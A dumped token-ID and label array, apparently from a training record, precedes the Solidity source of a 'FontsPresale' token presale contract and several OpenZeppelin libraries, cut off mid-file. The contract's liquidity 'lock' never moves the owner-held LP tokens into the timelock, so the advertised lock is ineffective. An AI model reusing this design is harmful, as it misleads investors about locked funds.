1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
7516,
17631,
14727,
12,
11890,
8526,
3778,
1147,
2673,
13,
1071,
1661,
426,
8230,
970,
8827,
28590,
95,
203,
3639,
2254,
2078,
6275,
31,
7010,
3639,
364,
12,
11890,
277,
33,
20,
31,
77,
32,
2316,
2673,
18,
2469,
31,
77,
27245,
95,
203,
5411,
384,
911,
2502,
23719,
273,
384,
9477,
5157,
63,
2316,
2673,
63,
77,
13563,
31,
203,
5411,
2078,
6275,
1011,
4170,
359,
1060,
12,
2316,
2673,
63,
77,
19226,
203,
5411,
1430,
18885,
1230,
9762,
329,
63,
2316,
2673,
63,
77,
13563,
31,
203,
5411,
23719,
18,
2722,
9762,
1011,
14015,
2629,
18,
5508,
300,
23719,
18,
2722,
9762,
13176,
2548,
4727,
13,
380,
2548,
4727,
31,
203,
3639,
289,
203,
3639,
389,
81,
474,
12,
3576,
18,
15330,
16,
4963,
6275,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//SPDX-License-Identifier: UNLICENSED
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/TokenTimelock.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./IUniswapV2Router02.sol";
import "./IUniswapV2Factory.sol";
pragma solidity ^0.7.3;
contract FontsPresale is Context, ReentrancyGuard, Ownable {
using SafeMath for uint;
using SafeMath for uint256;
using SafeERC20 for IERC20;
//===============================================//
// Contract Variables: Mainnet //
//===============================================//
uint256 public MIN_CONTRIBUTION = 0.1 ether;
uint256 public MAX_CONTRIBUTION = 6 ether;
uint256 public HARD_CAP = 180 ether; //@change for testing
uint256 constant FONTS_PER_ETH_PRESALE = 1111;
uint256 constant FONTS_PER_ETH_UNISWAP = 700;
uint256 public UNI_LP_ETH = 86 ether;
uint256 public UNI_LP_FONT;
uint256 public constant UNLOCK_PERCENT_PRESALE_INITIAL = 50; //For presale buyers instant release
uint256 public constant UNLOCK_PERCENT_PRESALE_SECOND = 30; //For presale buyers after 30 days
uint256 public constant UNLOCK_PERCENT_PRESALE_FINAL = 20; //For presale buyers after 60 days
uint256 public DURATION_REFUND = 7 days;
uint256 public DURATION_LIQUIDITY_LOCK = 365 days;
uint256 public DURATION_TOKEN_DISTRIBUTION_ROUND_2 = 30 days;
uint256 public DURATION_TOKEN_DISTRIBUTION_ROUND_3 = 60 days;
address FONT_TOKEN_ADDRESS = 0x4C25Bdf026Ea05F32713F00f73Ca55857Fbf6342; //FONT Token address
IUniswapV2Router02 constant UNISWAP_V2_ADDRESS = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Factory constant uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
//General variables
IERC20 public FONT_ERC20; //Font token address
address public ERC20_uniswapV2Pair; //Uniswap Pair address
TokenTimelock public UniLPTimeLock;
uint256 public tokensBought; //Total tokens bought
uint256 public tokensWithdrawn; //Total tokens withdrawn by buyers
bool public isStopped = false;
bool public presaleStarted = false;
bool public uniPairCreated = false;
bool public liquidityLocked = false;
bool public bulkRefunded = false;
bool public isFontDistributedR1 = false;
bool public isFontDistributedR2 = false;
bool public isFontDistributedR3 = false;
uint256 public roundTwoUnlockTime;
uint256 public roundThreeUnlockTime;
bool liquidityAdded = false;
address payable contract_owner;
uint256 public liquidityUnlockTime;
uint256 public ethSent; //ETH Received
uint256 public lockedLiquidityAmount;
uint256 public refundTime;
mapping(address => uint) ethSpent;
mapping(address => uint) fontBought;
mapping(address => uint) fontHolding;
address[] public contributors;
constructor() {
contract_owner = _msgSender();
//ChangeSettingsForTestnet();
UNI_LP_FONT = UNI_LP_ETH.mul(FONTS_PER_ETH_UNISWAP);
FONT_ERC20 = IERC20(FONT_TOKEN_ADDRESS);
}
//@done
receive() external payable {
buyTokens();
}
//@done
function allowRefunds() external onlyOwner nonReentrant {
isStopped = true;
}
//@done
function buyTokens() public payable nonReentrant {
require(_msgSender() == tx.origin);
require(presaleStarted == true, "Presale is paused");
require(msg.value >= MIN_CONTRIBUTION, "Less than 0.1 ETH");
require(msg.value <= MAX_CONTRIBUTION, "More than 6 ETH");
require(ethSent < HARD_CAP, "Hardcap reached");
require(msg.value.add(ethSent) <= HARD_CAP, "Hardcap will reached");
require(ethSpent[_msgSender()].add(msg.value) <= MAX_CONTRIBUTION, "> 6 ETH");
require(!isStopped, "Presale stopped"); //@todo
uint256 tokens = msg.value.mul(FONTS_PER_ETH_PRESALE);
require(FONT_ERC20.balanceOf(address(this)) >= tokens, "Not enough tokens"); //@tod
if(ethSpent[_msgSender()] == 0) {
contributors.push(_msgSender()); //Create list of contributors
}
ethSpent[_msgSender()] = ethSpent[_msgSender()].add(msg.value);
tokensBought = tokensBought.add(tokens);
ethSent = ethSent.add(msg.value);
fontBought[_msgSender()] = fontBought[_msgSender()].add(tokens); //Add fonts bought by contributor
fontHolding[_msgSender()] = fontHolding[_msgSender()].add(tokens); //Add fonts Holding by contributor
}
//@done, create unipair first.
function createUniPair() external onlyOwner {
require(!liquidityAdded, "liquidity Already added");
require(!uniPairCreated, "Already Created Unipair");
ERC20_uniswapV2Pair = uniswapFactory.createPair(address(FONT_ERC20), UNISWAP_V2_ADDRESS.WETH());
uniPairCreated = true;
}
//@done
function addLiquidity() external onlyOwner {
require(!liquidityAdded, "liquidity Already added");
require(ethSent >= HARD_CAP, "Hard cap not reached");
require(uniPairCreated, "Uniswap pair not created");
FONT_ERC20.approve(address(UNISWAP_V2_ADDRESS), UNI_LP_FONT);
UNISWAP_V2_ADDRESS.addLiquidityETH{ value: UNI_LP_ETH } (
address(FONT_ERC20),
UNI_LP_FONT,
UNI_LP_FONT,
UNI_LP_ETH,
address(contract_owner),
block.timestamp
);
liquidityAdded = true;
if(!isStopped)
isStopped = true;
//Set duration for FONT distribution
roundTwoUnlockTime = block.timestamp.add(DURATION_TOKEN_DISTRIBUTION_ROUND_2);
roundThreeUnlockTime = block.timestamp.add(DURATION_TOKEN_DISTRIBUTION_ROUND_3);
}
//Lock the liquidity
function lockLiquidity() external onlyOwner {
require(liquidityAdded, "Add Liquidity");
require(!liquidityLocked, "Already Locked");
//Lock the Liquidity
IERC20 liquidityTokens = IERC20(ERC20_uniswapV2Pair); //Get the Uni LP token
if(liquidityUnlockTime <= block.timestamp) {
liquidityUnlockTime = block.timestamp.add(DURATION_LIQUIDITY_LOCK);
}
UniLPTimeLock = new TokenTimelock(liquidityTokens, contract_owner, liquidityUnlockTime);
liquidityLocked = true;
lockedLiquidityAmount = liquidityTokens.balanceOf(contract_owner);
}
//Unlock it after 1 year
function unlockLiquidity() external onlyOwner {
UniLPTimeLock.release();
}
//Check when Uniswap V2 tokens are unlocked
function unlockLiquidityTime() external view returns(uint256) {
return UniLPTimeLock.releaseTime();
}
/*
//FONT can be claim by investors after sale success, It is optional
//@done
function claimFontRoundOne() external nonReentrant {
require(liquidityAdded,"FontsCrowdsale: can only claim after listing in UNI");
require(fontHolding[_msgSender()] > 0, "FontsCrowdsale: No FONT token available for this address to claim");
uint256 tokenAmount_ = fontBought[_msgSender()];
tokenAmount_ = tokenAmount_.mul(UNLOCK_PERCENT_PRESALE_INITIAL).div(100);
fontHolding[_msgSender()] = fontHolding[_msgSender()].sub(tokenAmount_);
// Transfer the $FONTs to the beneficiary
FONT_ERC20.safeTransfer(_msgSender(), tokenAmount_);
tokensWithdrawn = tokensWithdrawn.add(tokenAmount_);
}
//30% of FONT can be claim by investors after 30 days from unilisting
//@done
function claimFontRoundTwo() external nonReentrant {
require(liquidityAdded,"Claimble after UNI list");
require(fontHolding[_msgSender()] > 0, "0 FONT");
require(block.timestamp >= roundTwoUnlockTime, "Timelocked");
uint256 tokenAmount_ = fontBought[_msgSender()];
tokenAmount_ = tokenAmount_.mul(UNLOCK_PERCENT_PRESALE_SECOND).div(100);
fontHolding[_msgSender()] = fontHolding[_msgSender()].sub(tokenAmount_);
// Transfer the $FONTs to the beneficiary
FONT_ERC20.safeTransfer(_msgSender(), tokenAmount_);
tokensWithdrawn = tokensWithdrawn.add(tokenAmount_);
}
//20% of FONT can be claim by investors after 20 days from unilisting
//@done
function claimFontRoundThree() external nonReentrant {
require(liquidityAdded,"Claimble after UNI list");
require(fontHolding[_msgSender()] > 0, "0 FONT");
require(block.timestamp >= roundThreeUnlockTime, "Timelocked");
uint256 tokenAmount_ = fontBought[_msgSender()];
tokenAmount_ = tokenAmount_.mul(UNLOCK_PERCENT_PRESALE_FINAL).div(100);
fontHolding[_msgSender()] = fontHolding[_msgSender()].sub(tokenAmount_);
// Transfer the $FONTs to the beneficiary
FONT_ERC20.safeTransfer(_msgSender(), tokenAmount_);
tokensWithdrawn = tokensWithdrawn.add(tokenAmount_);
}
*/
//@done distribute first round of tokens
function distributeTokensRoundOne() external onlyOwner {
require(liquidityAdded, "Add Uni Liquidity");
require(!isFontDistributedR1, "Round 1 done");
for (uint i=0; i<contributors.length; i++) {
if(fontHolding[contributors[i]] > 0) {
uint256 tokenAmount_ = fontBought[contributors[i]];
tokenAmount_ = tokenAmount_.mul(UNLOCK_PERCENT_PRESALE_INITIAL).div(100);
fontHolding[contributors[i]] = fontHolding[contributors[i]].sub(tokenAmount_);
// Transfer the $FONTs to the beneficiary
FONT_ERC20.safeTransfer(contributors[i], tokenAmount_);
tokensWithdrawn = tokensWithdrawn.add(tokenAmount_);
}
}
isFontDistributedR1 = true;
}
//Let any one call next 30% of distribution
//@done
function distributeTokensRoundTwo() external nonReentrant{
require(liquidityAdded, "Add Uni Liquidity");
require(isFontDistributedR1, "Do Round 1");
require(block.timestamp >= roundTwoUnlockTime, "Timelocked");
require(!isFontDistributedR2, "Round 2 done");
for (uint i=0; i<contributors.length; i++) {
if(fontHolding[contributors[i]] > 0) {
uint256 tokenAmount_ = fontBought[contributors[i]];
tokenAmount_ = tokenAmount_.mul(UNLOCK_PERCENT_PRESALE_SECOND).div(100);
fontHolding[contributors[i]] = fontHolding[contributors[i]].sub(tokenAmount_);
// Transfer the $FONTs to the beneficiary
FONT_ERC20.safeTransfer(contributors[i], tokenAmount_);
tokensWithdrawn = tokensWithdrawn.add(tokenAmount_);
}
}
isFontDistributedR2 = true;
}
//Let any one call final 20% of distribution
//@done
function distributeTokensRoundThree() external nonReentrant{
require(liquidityAdded, "Add Uni Liquidity");
require(isFontDistributedR2, "Do Round 2");
require(block.timestamp >= roundThreeUnlockTime, "Timelocked");
require(!isFontDistributedR3, "Round 3 done");
for (uint i=0; i<contributors.length; i++) {
if(fontHolding[contributors[i]] > 0) {
uint256 tokenAmount_ = fontBought[contributors[i]];
tokenAmount_ = tokenAmount_.mul(UNLOCK_PERCENT_PRESALE_FINAL).div(100);
fontHolding[contributors[i]] = fontHolding[contributors[i]].sub(tokenAmount_);
// Transfer the $FONTs to the beneficiary
FONT_ERC20.safeTransfer(contributors[i], tokenAmount_);
tokensWithdrawn = tokensWithdrawn.add(tokenAmount_);
}
}
isFontDistributedR3 = true;
}
//@done
//Withdraw the collected remaining eth
function withdrawEth(uint amount) external onlyOwner returns(bool){
require(liquidityAdded,"After UNI LP");
require(amount <= address(this).balance);
contract_owner.transfer(amount);
return true;
}
//@done
//Allow admin to withdraw any pending FONT after everyone withdraw, 60 days
function withdrawFont(uint amount) external onlyOwner returns(bool){
require(liquidityAdded,"After UNI LP");
require(isFontDistributedR3, "After distribute to buyers");
FONT_ERC20.safeTransfer(_msgSender(), amount);
return true;
}
//@done
function userFontBalance(address user) external view returns (uint256) {
return fontHolding[user];
}
//@done
function userFontBought(address user) external view returns (uint256) {
return fontBought[user];
}
//@done
function userEthContribution(address user) external view returns (uint256) {
return ethSpent[user];
}
//@done
function getRefund() external nonReentrant {
require(_msgSender() == tx.origin);
require(isStopped, "Should be stopped");
require(!liquidityAdded);
// To get refund it not reached hard cap and 7 days had passed
require(ethSent < HARD_CAP && block.timestamp >= refundTime, "Cannot refund");
uint256 amount = ethSpent[_msgSender()];
require(amount > 0, "No ETH");
address payable user = _msgSender();
ethSpent[user] = 0;
fontBought[user] = 0;
fontHolding[user] = 0;
user.transfer(amount);
}
//@done let anyone call it
function bulkRefund() external nonReentrant {
require(!liquidityAdded);
require(!bulkRefunded, "Already refunded");
require(isStopped, "Should be stopped");
// To get refund it not reached hard cap and 7 days had passed
require(ethSent < HARD_CAP && block.timestamp >= refundTime, "Cannot refund");
for (uint i=0; i<contributors.length; i++) {
address payable user = payable(contributors[i]);
uint256 amount = ethSpent[user];
if(amount > 0) {
ethSpent[user] = 0;
fontBought[user] = 0;
fontHolding[user] = 0;
user.transfer(amount);
}
}
bulkRefunded = true;
}
//@done Call this to kickstart fundraise
function startPresale() external onlyOwner {
liquidityUnlockTime = block.timestamp.add(DURATION_LIQUIDITY_LOCK);
refundTime = block.timestamp.add(DURATION_REFUND);
presaleStarted = true;
}
//@done
function pausePresale() external onlyOwner {
presaleStarted = false;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./SafeERC20.sol";
/**
* @dev A token holder contract that will allow a beneficiary to extract the
* tokens after a given release time.
*
* Useful for simple vesting schedules like "advisors get all of their tokens
* after 1 year".
*/
contract TokenTimelock {
using SafeERC20 for IERC20;
// ERC20 basic token contract being held
IERC20 private _token;
// beneficiary of tokens after they are released
address private _beneficiary;
// timestamp when token release is enabled
uint256 private _releaseTime;
constructor (IERC20 token_, address beneficiary_, uint256 releaseTime_) public {
// solhint-disable-next-line not-rely-on-time
require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time");
_token = token_;
_beneficiary = beneficiary_;
_releaseTime = releaseTime_;
}
/**
* @return the token being held.
*/
function token() public view virtual returns (IERC20) {
return _token;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view virtual returns (address) {
return _beneficiary;
}
/**
* @return the time when the tokens are released.
*/
function releaseTime() public view virtual returns (uint256) {
return _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public virtual {
// solhint-disable-next-line not-rely-on-time
require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time");
uint256 amount = token().balanceOf(address(this));
require(amount > 0, "TokenTimelock: no tokens to release");
token().safeTransfer(beneficiary(), amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
